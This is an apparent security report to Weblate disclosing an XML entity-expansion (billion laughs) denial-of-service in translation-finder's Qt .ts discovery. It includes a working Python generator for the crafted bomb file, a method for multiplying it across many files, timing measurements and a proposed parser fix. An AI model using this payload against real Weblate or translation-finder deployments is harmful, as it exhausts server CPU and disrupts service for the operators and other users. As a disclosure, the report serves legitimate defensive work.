Weblate · Report #4094236
Billion laughs entity expansion in Qt .ts discovery: a crafted ~950 KB file forces ~55 MB of XML expansion per parse, cost scales with crafted file c
How it was found
Weakness
CWE-776 (Improper Restriction of Recursive Entity References in DTDs / XML bomb), CWE-400 (Uncontrolled Resource Consumption)
Suggested severity
Medium. CVSS:3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5), same reasoning as my other two translation-finder reports: the trigger needs repository write access, the impact is availability only, but the cost per upload is extreme.
Affected component
WeblateOrg/translation-finder
File: translation_finder/discovery/files.py, function _get_qt_ts_version() (line 80 on master 671d213, line 78 in released 3.6.1), called from QtDiscovery.adjust_format() (line 629 on master, 627 in 3.6.1)
Tested at master commit 671d213 (2026-10-07) and against released 3.6.1 installed from PyPI. I extracted the function from both trees and diffed them: byte identical. So every released version carrying the Qt backend should be affected, not just these two points.
Affected versions
- translation-finder 3.6.1 (current PyPI latest) and current master @ 671d213. Unfixed in both.
- The maintainer's recent hardening commit d69b673 ("fix(discovery): bound multi-file format sniffing") shipped inside released 3.6.1 (it is a git ancestor of the release commit c5ac867, verified with
git merge-base --is-ancestor), but its budgets cap bytes and files per result. They do not cap the number of results, which is exactly the axis this bug scales on. - 97e7e02 (the wildcard matching fix from my report #4093379) touches finder.py and base.py, not this function.
- No public GitHub issue, GHSA or CVE covers entity expansion in .ts parsing as of 2026-10-07.
Summary
I found an XML entity expansion (billion laughs) weakness in the Qt translation discovery backend.
_get_qt_ts_version() parses attacker supplied .ts content with xml.parsers.expat using default entity processing. The function registers a StartElementHandler whose whole job is to grab the version attribute of the root <TS> element and abort (it raises a custom _QtRootFoundError to stop parsing). That guard cannot help here: expat expands internal entities while it normalizes attribute values, before the start element handler is ever called. So by the time the abort fires, the expansion work is already paid.
There is no EntityDeclHandler registered and no DTD hardening anywhere in the codebase (I grepped both trees for EntityDeclHandler and SetParamEntityParsing, zero hits). An attacker can declare any internal entity chain in the DOCTYPE and reference it from the version attribute.
expat does have a built in billion laughs protection, but it bounds the amplification ratio (roughly 100x), not the absolute work. That interacts badly with the library's own FORMAT_SNIFF_MAX_BYTES = 1 MiB sniff cap:
- A tiny bomb fails: a 599 byte file asking for 100 MB of expansion is stopped by the ratio cap in 0.051 s (measured).
- A fat bomb works: a file padded to 957,496 bytes (just under the 1 MiB sniff cap) whose
versionattribute holds 55 references to an entity chain that expands to 1 M chars stays inside the ratio budget (~57x) and forces ~55 MB of expansion in one parse. Measured 0.866 s per parse against 0.006 s for a benign .ts of the same size. That is ~145x the cost of doing the same sniff on a normal file.
The scaling axis: QtDiscovery.adjust_format() runs once per discovery result. Naming the files a0-cs.ts, a1-cs.ts, ... makes the discovery logic emit one distinct wildcard mask (a0-*.ts, a1-*.ts, ...) per file, so each crafted file becomes its own result and gets parsed once. The d69b673 budgets are per result, nothing caps the result count, so N crafted files means N full parses in a single discover() call. I measured qt_parses == N exactly: N=50 gives 50 parses and 31.68 s of CPU on master.
The bomb also compresses extremely well: 957,496 bytes deflate down to 4,068 bytes (235x), so the upload cost is ~163 CPU-seconds per compressed MB. For comparison, the .tx/config vector in my report #4093838 is ~8 CPU-s per compressed MB. This is roughly 20x more upload efficient.
Details
What the code does today
def _get_qt_ts_version(content: str) -> str | None:
"""Return the version from a Qt TS root element."""
version: str | None = None
parser = expat.ParserCreate()
def handle_start(name: str, attributes: dict[str, str]) -> None:
nonlocal version
if name == "TS":
version = attributes.get("version")
raise _QtRootFoundError
parser.StartElementHandler = handle_start
try:
parser.Parse(content, False)
except _QtRootFoundError:
return version
except expat.ExpatError:
return None
return None
(filed at translation_finder/discovery/files.py:80 on master, identical body in 3.6.1)
ParserCreate()with default settings accepts internal entity declarations from the DOCTYPE and expands them- only
StartElementHandleris set, there is noEntityDeclHandler, noSetParamEntityParsing, no DTD filtering of any kind QtDiscovery.adjust_format()(files.py:629) feeds up toFORMAT_SNIFF_MAX_BYTES(1 MiB) of each .ts candidate into this function, once per discovery result
Why the existing protections do not help
- expat's amplification cap (roughly 100x) bounds the ratio, not the work. The 1 MiB sniff cap effectively hands the attacker ~1 MB of file to play with, and a file just under the cap can still legally expand ~55 MB inside the ratio budget. The cap sets the size of the bomb, it does not stop it.
FORMAT_SNIFF_MAX_FILES = 10(added by d69b673, shipped in 3.6.1) is a per-result budget for sniffing multiple candidate files of one result. Here each crafted file produces its own result with exactly one candidate file, so the budget is never touched, and nothing anywhere caps how many results a tree can produce.- The early abort (
raise _QtRootFoundErrorfromhandle_start) fires only after the<TS>start tag is fully processed, which is after its attribute values have been normalized, which is after every&e5;reference has been expanded. The guard runs after the bill arrives.
Steps to Reproduce
Everything below was run on Kali Linux, Python 3.13.9, expat 2.7.3 as shipped with the interpreter. Adjust paths as needed.
Step 1: environment
python3 -m venv venv && venv/bin/pip install translation-finder
# or: git checkout 671d213 and pip install -e .
Step 2: build the bomb file
The payload is a syntactically valid Qt .ts file. A 6 level entity chain (each level expands the previous one 10x, so e5 = 1,000,000 chars), referenced 55 times from the version attribute, padded with XML comments to just under the 1 MiB sniff cap:
pad = 950_000
lines = ['<?xml version="1.0" encoding="utf-8"?>']
made = 0
while made < pad - 700:
chunk = "<!-- " + "P" * 118 + " -->\n"
lines.append(chunk)
made += len(chunk)
lines.append("<!DOCTYPE TS [")
lines.append('<!ENTITY e0 "AAAAAAAAAA">') # 10 chars
for i in range(1, 6):
ref = f"&e{i-1};" * 10 # 100, 1k, 10k, 100k, 1M
lines.append(f'<!ENTITY e{i} "{ref}">')
lines.append("]>")
lines.append('<TS version="' + "&e5;" * 55 + '">') # 55 refs = 55 MB expansion
lines.append(
"<context><name>x</name>"
"<message><source>s</source><translation>t</translation></message>"
"</context>"
)
lines.append("</TS>")
open("a0-cs.ts", "w").write("\n".join(lines))
This produces a 957,496 byte file. Two details matter:
- The file must stay under 1 MiB or
adjust_format()will not sniff it. The padding exists to buy enough "legitimate" size for the ~57x expansion ratio to stay under expat's ~100x amplification cap. - The name matters.
a0-cs.tsmakes the naming heuristic treata0as a prefix token andcsas the language code, so discovery generates the wildcard maska0-*.tsfor this file and yields one result. Any<prefix>-<lang>.tsshape works.
Step 3: put it in a repo and time one discovery
mkdir repo && mv a0-cs.ts repo/
time venv/bin/python -c "from translation_finder import discover; print(len(discover('repo')))"
Prints 1 and takes ~0.6 to 0.9 s of CPU depending on tree (0.866 s measured on 3.6.1). Now delete the DOCTYPE block from the same file (keep everything else, it is still a valid 950 KB .ts) and rerun: 0.006 s. That difference is the bug, nothing else in the file changed.
Step 4: show the linear scaling
Create 50 bombs named a0-cs.ts through a49-cs.ts in one repo, then count parses while timing:
import sys, time
sys.path.insert(0, "/path/to/translation_finder_tree")
import translation_finder.discovery.files as f
n = {"c": 0}
orig = f._get_qt_ts_version
def counting(content):
n["c"] += 1
return orig(content)
f._get_qt_ts_version = counting
from translation_finder import discover
t0 = time.perf_counter()
r = discover("repo")
print(len(r), n["c"], round(time.perf_counter() - t0, 2))
Output on master 671d213 with 50 bombs: 50 50 31.7. The parse count equals the file count exactly, at every N I tested (1, 10, 25, 50).
Step 5: scripted way
The attached PoCs do all of the above, build their trees in temp dirs and cap child memory with RLIMIT_AS 2 GiB:
# single file suite (benign, tiny bomb, fat bomb, k=70 ceiling, patched comparison, 10x multiplication)
python3 poc_tf_qt_ts_entity_bomb_361.py # against PyPI 3.6.1
python3 poc_tf_qt_ts_entity_bomb.py # against master
# scaling probe, parse counting included
python3 poc_tf_qt_ts_scaling_n.py /path/to/translation_finder 1 10 25 50
(adjust the sys.path line at the top of each script). This is exactly what I ran, raw output attached as run_361.txt and scaling_n.txt.
Measured results
Single file suite (PyPI 3.6.1, RLIMIT_AS 2 GiB)
| test | file size | expansion asked | time | peak RSS |
|---|---|---|---|---|
| benign 950 KB .ts, no DOCTYPE | 956,969 B | - | 0.006 s | 20.8 MiB |
| tiny bomb, e7 chain | 599 B | 100,000,000 chars | 0.051 s | 26.1 MiB |
| fat bomb, k=55 | 957,496 B | 55,000,000 chars | 0.866 s | 127.9 MiB |
| fat bomb, k=70 (ceiling probe) | 957,556 B | 70,000,000 chars | 0.566 s | 84.3 MiB |
| fat bomb k=55 with deny-all EntityDeclHandler | 957,496 B | 55,000,000 chars | 0.006 s | 22.7 MiB |
| 10 fat bombs in one repo | 957,496 B each | - | 5.148 s | 129.4 MiB |
The tiny bomb line is the control that shows expat's ratio cap works: a 599 byte file cannot ask for 100 MB of expansion, expat aborts almost immediately. The fat bomb stays under the ratio and pays full price. The patched line is the same bomb with a deny-all EntityDeclHandler installed before parsing, which is the fix I propose below.
Scaling (master @ 671d213)
| N crafted .ts files | qt_parses | discover() time | peak RSS |
|---|---|---|---|
| 1 | 1 | 0.605 s | 130.1 MiB |
| 10 | 10 | 5.154 s | 132.2 MiB |
| 25 | 25 | 16.13 s | 132.4 MiB |
| 50 | 50 | 31.68 s | 132.7 MiB |
Same probe on PyPI 3.6.1, N=25: 25 parses, 15.88 s, 129.7 MiB. The per-file cost is ~0.65 CPU-s per MB of crafted .ts, identical rate on 3.6.1 and master. Peak RSS is flat across the whole table, CPU is the exhausted resource, not memory.
Upload amplification
957,496 B compresses to 4,068 B with deflate -9 (measured, zip_ratio_bomb.txt). 50 bombs are ~203 KB zipped for 31.68 s of CPU, so ~163 CPU-s per uploaded MB. My report #4093838 measured ~8 CPU-s per compressed MB for the .tx/config vector, this one is about 20x more efficient per uploaded byte.
Limitations I want to be honest about
- End-to-end numbers are from single runs (n=1) on Kali, Python 3.13.9. The parse-primitive comparison was repeated a few times. Absolute seconds are machine dependent; the ratios (145x vs benign of the same size, exact N parses, flat RSS) are the meaningful part.
- I tested the expat that ships with Python 3.13.9 (2.7.3). The code has no entity handler in any tree I checked and the function is byte identical between 3.6.1 and master, so the weakness class applies wherever expat's ratio cap lets a sub 1 MiB file expand tens of MB. Older expat builds may be more permissive, not less, but I did not test other versions.
- The k=70 ceiling probe ran faster than k=55 (0.566 s vs 0.866 s, lower peak RSS). I did not dig into expat's internal accounting for that. k=55 is the measured sweet spot and all scaling numbers use it.
- The Weblate-side call path is inferred from source (discover() on user controlled VCS content during component import/create). I did not reproduce the hang against a live Weblate instance.
Duplicate check
Before reporting I checked:
- Security advisories on this repo: 0 ("There aren't any published security advisories")
- OSV.dev for the PyPI package translation-finder:
{}, no entries - Web/CVE/GHSA search: only Weblate platform advisories come up, none reference translation-finder. CVE-2026-62326 / GHSA-r52j-4vjp-q949 is about regex flags in Weblate core, unrelated.
- The issue sweep I ran for my other two reports (all 27 issues on this repo via the GitHub API, open and closed) found no DoS or resource consumption reports, and nothing touching .ts/XML/entity parsing.
- The maintainer's hardening commits d69b673 and 97e7e02 do not add any entity handling to
_get_qt_ts_version(). Attachedget_qt_ts_version_361.pyandget_qt_ts_version_main.pyare the function extracted from both trees, they diff empty. - This is a different bug class from my open reports #4093379 (quadratic fnmatch matching, algorithmic complexity) and #4093838 (.tx/config configparser cost, unbounded count). This one is XML entity expansion in the Qt backend: a single crafted file is enough, and the fix is parser hardening, not a count cap.
Suggested fix
Register an EntityDeclHandler in _get_qt_ts_version() that rejects every entity declaration. Real .ts files produced by Qt Linguist do not use DTD entities, so denying all of them cannot break legitimate discovery. The handler fires at declaration time, before any reference is expanded:
def _get_qt_ts_version(content: str) -> str | None:
"""Return the version from a Qt TS root element."""
version: str | None = None
parser = expat.ParserCreate()
def handle_start(name: str, attributes: dict[str, str]) -> None:
nonlocal version
if name == "TS":
version = attributes.get("version")
raise _QtRootFoundError
def deny_entity(entityName, is_parameter_entity, value, base, systemId,
publicId, notationName):
raise expat.ExpatError("entities are not allowed in .ts discovery")
parser.StartElementHandler = handle_start
parser.EntityDeclHandler = deny_entity
# rest unchanged
Measured reference fix on the same 957 KB bomb: 0.006 s and 22.7 MiB peak RSS, versus 0.866 s and 127.9 MiB unfixed.
Alternatives that also work:
- Cheap pre-filter before parsing: skip .ts candidates whose sniffed content contains
<!ENTITYat all - In the d69b673 style, give
QtDiscovery.adjust_format()a shared per-discovery budget (total Qt parses per discover() call) so the result-count axis stays bounded as well. This is defense in depth, the handler alone already removes three orders of magnitude.
Attachments
poc_tf_qt_ts_entity_bomb.pyandpoc_tf_qt_ts_entity_bomb_361.py: single file suites (master and 3.6.1 variants), includes the patched comparisonpoc_tf_qt_ts_scaling_n.py: scaling probe with parse countingrun_361.txt,scaling_n.txt: raw output quoted in the tables aboveresults_361.json,results_main_671d213.json: machine readable suite resultsget_qt_ts_version_361.py,get_qt_ts_version_main.py: the function extracted from both trees, byte identicalzip_ratio_bomb.txt: upload amplification measurement (235x)probe_expat_ceiling_results.txt,probe_expat_fat_results.txt: why tiny bombs are capped but fat bombs are not
Impact
- discover() runs on user uploaded repos and archives in Weblate during component import/create. Any user who can upload a repo can trigger this.
- 50 crafted files cost ~48 MB on disk but only ~203 KB in a zip, and burn ~32 CPU-seconds per discovery run. K is attacker chosen, no cap exists anywhere in the library, and discovery re-runs on every repository update, so the cost repeats for as long as the files stay in the repo.
- ~163 CPU-seconds per compressed MB uploaded. A few concurrent requests with such uploads will stall web workers or exhaust the worker pool, since the parse runs CPU bound inside request handling.
- Unlike the .tx/config vector (#4093838), this one does produce results (each bomb parses fine after paying the expansion), so downstream Weblate code also receives N junk discovery results on top of the CPU cost.
- Availability impact only. Peak RSS stays at ~130 MiB under a 2 GiB child limit across the entire scaling table. I did not seek a memory impact. Symlinks and FIFOs are already handled safely (
_open_regular_fileuses O_NOFOLLOW).